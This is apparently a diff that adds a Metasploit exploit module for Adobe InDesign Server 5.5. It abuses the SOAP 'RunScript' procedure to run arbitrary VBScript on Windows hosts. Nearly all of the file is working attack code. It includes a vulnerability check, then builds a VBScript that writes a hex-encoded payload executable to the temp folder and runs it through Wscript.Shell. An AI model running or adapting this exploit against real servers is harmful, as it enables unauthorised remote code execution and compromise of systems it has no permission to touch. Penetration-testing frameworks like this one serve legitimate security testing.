exploit for OSVDB-87548

Author: h0ng10

modules/exploits/windows/misc/indesign_server_soap.rb

@@ -0,0 +1,140 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::EXE
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution',
+			'Description'    => %q{
+					The SOAP interface of Adobe InDesign Server provides a "RunScript" procedure, which
+					can be used to execute abritary vbscript (Windows) or applescript(OSX).
+
+					While the OSX version of Adobe IndesignServer is also vulnerable, this exploit only
+					targets windows installations.
+
+					The exploit creates an exe file with the payload on the server which must be removed
+					manually.
+			},
+			'Author'         => [ 'h0ng10' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 11127 $',
+			'Platform'       => 'win',
+			'Privileged'     => false,
+			'DisclosureDate' => 'Nov 11 2012',
+			'References'     =>
+				[
+					[ 'OSVDB', '87548'],
+					[ 'URL', 'http://secunia.com/advisories/48572/' ]
+				],
+			'Targets'        =>
+				[
+					[ 'Windows', { } ], #OSX
+				],
+			'DefaultTarget'  => 0
+		))
+
+		register_options( [ Opt::RPORT(12345) ], self.class )
+	end
+
+
+	def send_soap_request(script_code)
+		script_code.gsub!(/&/, '&amp;')
+		soap_xml = %Q{
+<?xml version="1.0" encoding="UTF-8"?>
+<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
+xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns.adobe.com/InDesign/soap/">
+	<SOAP-ENV:Body>
+		<IDSP:RunScript>
+			<IDSP:runScriptParameters>
+				<IDSP:scriptText>#{script_code}</IDSP:scriptText>
+				<IDSP:scriptLanguage>visual basic</IDSP:scriptLanguage>
+			</IDSP:runScriptParameters>
+		</IDSP:RunScript>
+	</SOAP-ENV:Body>
+</SOAP-ENV:Envelope>
+}
+
+		res = send_request_cgi({
+			'uri'          => '/',
+			'method'       => 'POST',
+			'content-type' => 'application/x-www-form-urlencoded',
+			'data'         => soap_xml,
+		}, 5)
+	end
+
+
+	def check()
+		# Use a very simple vb_script
+		check_var = rand_text_numeric(10)
+		checkscript =  'returnValue = "' + check_var + '"'
+
+		res = send_soap_request(checkscript)
+
+		return Exploit::CheckCode::Unknown if res.nil? or res.code != 200
+		return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>')
+
+		Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		print_status("Creating payload vbs script")
+
+		#exe = Msf::Util::EXE.to_win32pe_old(framework, payload.encoded)
+		#vbs = Msf::Util::EXE.to_exe_vbs(exe)
+
+		encoded_payload = generate_payload_exe().unpack("H*").join
+		exe_file = Rex::Text.rand_text_alpha_upper(8) + ".exe"
+		wsf = Rex::Text.rand_text_alpha(8)
+		payload_var = Rex::Text.rand_text_alpha(8)
+		exe_name_var = Rex::Text.rand_text_alpha(8)
+		file_var = Rex::Text.rand_text_alpha(8)
+		byte_var = Rex::Text.rand_text_alpha(8)
+		shell_var = Rex::Text.rand_text_alpha(8)
+
+		# This one creates a smaller vbs payload (without deletion)
+		vbs = %Q{
+Set #{wsf} = CreateObject("Scripting.FileSystemObject")
+#{payload_var}  = "#{encoded_payload}"
+#{exe_name_var} =  #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}"
+Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE)
+For x = 1 To Len(#{payload_var})-3 Step 2
+	#{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2)
+	#{file_var}.write Chr(#{byte_var})
+Next
+
+#{file_var}.write Chr(#{byte_var})
+#{file_var}.close
+
+Set #{shell_var} = CreateObject("Wscript.Shell")
+#{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False
+Set #{shell_var} = Nothing
+returnValue = #{exe_name_var}
+}
+
+
+	#	vbs = Msf::Util::EXE.to_exe_vbs(exe)
+		print_status("Sending SOAP request")
+
+		res = send_soap_request(vbs)
+		if res != nil and res.body != nil then
+			file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0]
+			print_status "Payload deployed to #{file_to_delete.to_s}, please remove manually"
+		end
+		handler
+	end
+
+
+
+end